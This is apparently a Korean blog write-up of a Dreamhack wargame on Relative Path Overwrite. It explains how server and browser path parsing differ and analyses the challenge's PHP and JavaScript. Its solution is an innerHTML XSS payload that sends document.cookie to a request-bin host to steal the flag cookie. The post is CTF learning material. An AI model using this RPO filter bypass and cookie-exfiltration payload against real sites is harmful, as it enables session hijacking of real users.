RPO (Relative Path Overwrite) 기법
- 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격
- 브라우저는 서버의 파일시스템에 접근할 수 없기 때문에 주어진 경로가 정상적인 경로인지를 구분할 수 없음
RPO 발생 가능 조건
- URL Rewrite 적용되어있는 사이트 = 웹 어플리케이션 스크립트명 이하의 경로를 별도로 지정해도 같은 페이지가 조회되는 경우
ex) /index.php 하위에 새로운 경로 추가해 요청 보냈을 때
=> 서버는 /index.php 페이지를 리턴 (하위 요소를 경로가 아니라 파라미터로 인식)
=> 브라우저 입장에서는 URL 경로 중 어디부터가 파라미터인지 구분 불가, 전체를 경로로 인식
/index.php
/index.php/
/index.php/12345
/index.php/var filter=[]; <!-- 위 네 경우 모두 index.php 보여진다 -->
- 웹페이지 내부에서 상대 경로로 다른 자원을 참조하고 있어야 함
ex) 아래와 같이 js 파일을 source로 불러오고 있을 때,
<script src="/app/main.js"></script>
<script src="app/main.js"></script>
=> https://host/index.php 로 접근 시 두 코드 모두 /app/main.js 를 로드하지만
=> https://host/index.php/ 로 접근 시 두번째 코드는 /index.php/ 를 현재 디렉토리로 인식하여 /index.php/app/main.js 를 로드하게 됨
=> /index.php/app/main.js 로의 접근에 대해 서버는 /index.php 리턴 (due to URL rewrite). 즉 /index.php의 페이지 내용을 자바스크립트의 내용으로써 사용할 수 있음 (**)
// 여기까지가 드림핵 강좌에서 설명하던 내용
이해를 돕기 위한 실제 사례들
- dot(.), slash(/), backslash(\), question mark(?), semi-colon(;) 혹은 이것들의 URL 인코딩 값이 경로에 존재할 때
* 브라우저와 서버가 URL 경로를 해석하는데에 있어 차이가 발생
ex) 아래와 같은 코드가 포함된 /example.php 를 불러올 때
<link rel="tylesheet" type="text/css" href="style.css" />
=> 의도된 동작은 /style.css 파일이 호출되는 것.
=> url rewrite를 악용해 /example.php/tmp/ 파일을 호출할 경우, 실제로 서버에서 호출되는 파일은 /example.php지만 브라우저는 /example.php/tmp/를 디렉토리로 인식하고 /example.php/tmp/style.css를 호출함
** CSS는 올바르지 않은 문법을 만나면 무시하고 올바른 문법이 나올 때까지 다음 문법으로 넘어간다는 특징이 존재
** 즉, 해당 페이지 내 일부분에 유효한 CSS 문법을 삽입할 수만 있다면 CSS Injection 공격이 가능함
- / (슬래시) 를 URL encoding한 값인 %2f로 바꾸어 건넸는데 파일에 정상적으로 접근 가능할 때
http://www.test.com/path%2fto%2fscript.js
이렇게 접근했는데도 script.js 파일에 정상 접근이 가능하다면, 서버가 path 해석하는 과정에서 변환 일어난다고 추측 가능
"서버가 URL 해석하는 방식"과 "브라우저가 URL 해석하는 방식" (브라우저는 path%2fto%2fscript.js 를 하나의 파일로 해석)이 서로 다름!!
<!-- index.html -->
<script src="path/to/script.js"></script>
상대 경로로 script.js 불러오기 때문에 RPO 취약점 발생
http://www.test.com/say/hello/to/minseo/..%2f..%2f..%2f..%2findex.html
위와 같이 접속한다면 서버는 /index.html을 리턴하겠지만
브라우저는 '..%2f..%2f..%2f..%2findex.html'를 하나의 파일로 인식하여 /say/hello/to/minseo/path/to/script.js 를 로드함
=> 서버 상에 존재하는 임의의 js 파일을 로드할 수 있다. 파일 업로드 취약점까지 있으면 금상천화
=> dot(%2e), slash(%2f), semicolon(%3b) 등 서버와 브라우저의 경로해석을 다르게 하는 문자를 URL encoding해서 보내보자
=> 파일이 정상적으로 로드되면 RPO 취약점 존재
/index.php 와 /index.php/ 가 뭐가 다르길래 이런 차이가 발생하는가?
trailing slash
- URL 끝에 붙이는 slash, 맨 뒤에 따라오는 요소가 파일명인지 디렉토리명인지 구분
1) URL에 trailing slash가 있을 때:
서버는 이 요청에 대한 리소스를 디렉토리로 간주
해당 디렉토리가 존재하면 디렉토리의 기본파일 (index.html, index.php)을 확인
2) URL에 trailing slash가 없을 때:
서버는 이 요청에 대한 리소스를 파일로 간주
해당 파일이 없을 경우 해당 이름의 디렉토리를 확인 후 기본파일 (index.html, index.php)을 확인
문제 분석
index.php
// 생략
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li>
<li><a href="/?page=report">Report</a></li>
</ul>
</div><!--/.nav-collapse -->
// 생략
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
// 생략
- 다른 엔드포인트들을 독특한 방식으로 접근, page라는 argument 값에 따라 include 시킴
- : , .. , / 를 필터링하고 있으므로 page 이름 가지고 path traversal 이런 거 못함
report.php
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
- 코드에 설명이 안되어있긴 한데 flag가 담긴 쿠키와 함께 전달된 URL에 방문하는 기능을 제공함
vuln.php
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
- 취약점 1 = filter.js를 상대경로로 불러오고 있음
- 취약점 2 = filter 변수가 undefined이면 필터링 (frame, on, script, object 필터링 하더라) 아예 안함
- 취약점 3 = innerHTML 통해 HTML 요소 삽입 가능, 이벤트핸들러 통한 xss 가능 (script 태그는 막힘)
exploit
- 상단 navbar를 통해 vuln.php 로드시켜보면
=> 현재 경로가 /이므로 /filter.js 파일이 정상적으로 로드됨
(host3.dreamhack.games:18360/index.php?page=vuln¶m=dreamhack 해도 현재 디렉토리는 /이므로 잘 됨)
- /index.php/ 와 같이 요청하여 vuln page 로드시켜보면
=> 현재 디렉토리를 /index.php/ 로 인식하여 /index.php/filter.js 가 로드됨
=> 근데 URL rewrite에 의해 /index.php/filter.js 접근 시 서버는 index.php 페이지를 리턴
=> html 코드를 스크립트로 해석하지 못해 로드 실패. 즉 filtering 적용 안됨.
report.php 엔드포인트에서
index.php/?page=vuln¶m=<img src=x onerror="[request bin url]/?"%2Bdocument.cookie>
이렇게 payload 작성해 보내면 됨 (+는 URL decoding 과정에서 white space로 변환되므로 한 번 인코딩 해 줌)
cf) Protocol-relative URL
- // 로 시작하는 URL을 Protocol-relative URL
- 현재 해당 요청이 발생하는 페이지, 즉 브라우저에 로드된 페이지의 Protocol을 따라감
- SSRF나 Open Redirect 등 여러가지 우회에 정말 잘 쓰이는 패턴이라고 하네요
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] CS-Search (0) | 2023.07.09 |
---|---|
[Dreamhack Wargame] Relative Path Overwrite Advanced (0) | 2023.07.07 |
[Dreamhack Wargame] CSS Injection (5) | 2023.07.05 |
[Dreamhack Wargame] Client Side Template Injection (0) | 2023.07.05 |
[Dreamhack Wargame] CSP Bypass Advanced (0) | 2023.07.03 |